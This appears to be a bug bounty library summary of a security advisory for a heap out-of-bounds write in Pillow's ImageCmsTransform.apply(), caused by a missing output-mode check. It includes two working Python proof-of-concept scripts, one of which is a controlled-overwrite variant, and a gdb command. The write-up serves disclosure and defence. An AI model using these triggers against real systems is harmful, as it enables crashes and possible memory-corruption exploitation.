# Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

Pillow's ImageCmsTransform.apply() skips output mode validation, letting LittleCMS write RGBA-sized rows into a 1-byte-per-pixel L image, corrupting the native heap.

- Payout: Research
- Severity: high
- Program: Pillow
- Found by: Serotav
- Disclosed: 2026-07-20
- CVE: CVE-2026-59205
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9hw9-ch79-4vh6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9hw9-ch79-4vh6
- Tags: area:oss domain:oss impact:dos impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:memory-corruption vuln:misconfiguration

**Target:** Pillow ImageCms native extension (src/_imagingcms.c) via ImageCmsTransform.apply()
**Root cause:** ImageCmsTransform.apply() and the C wrapper pyCMSdoTransform() validate only dimensions, not that imOut.mode matches the transform's output_mode; findLCMStype maps RGBA to TYPE_RGBA_8 (4 bytes/px) while an L image row allocates 1 byte/px.
**Steps:**
1. Build a transform declared RGBA->RGBA: `transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")`
2. Create an RGBA source image and an L-mode output image of the same size: `im = Image.new("RGBA", (8, 1), ...)`, `out = Image.new("L", (8, 1), 0)`
3. Call `transform.apply(im, out)`
4. LittleCMS writes 4*width bytes per row into a 1*width allocation; glibc aborts with `free(): invalid next size (normal)` at cleanup
5. For controlled overwrite, use width 4096 and source pixels (0x41,0x42,0x43,0x44); under gdb the faulting pointer is 0x4443424144434241 (b"ABCDABCD")
**How found:** Reporter noticed apply() accepts a caller-supplied imOut and only dimensions are checked in pyCMSdoTransform(); traced findLCMStype mapping RGBA to TYPE_RGBA_8 (4 bytes/px) versus L allocation (1 byte/px), then confirmed with a minimal 8x1 PoC and a 4096-wide controlled-overwrite PoC under gdb.
**Exploitation:** Attacker who controls the output image object passed to apply() (or transform parameters) supplies an L-mode image for an RGBA transform; LittleCMS writes 4 bytes per pixel into a 1-byte-per-pixel row, overflowing ~12288 bytes past a 4096-wide row with attacker-influenced source pixel bytes, corrupting adjacent heap metadata/pointers.
**Insight:** When a native library's pixel format is chosen from a transform's declared mode but the destination buffer comes from a caller-supplied object, check the buffer's actual mode/stride, not just dimensions — mismatched bpp turns a benign API into a heap overflow with attacker-controlled bytes.

## Proof of concept (copied exactly from the original report)

**Minimal heap corruption trigger script**

```
from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")
```

**Controlled overwrite PoC with 4096-wide image**

```
from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)
```

**gdb command to reproduce crash**

```
gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py
```

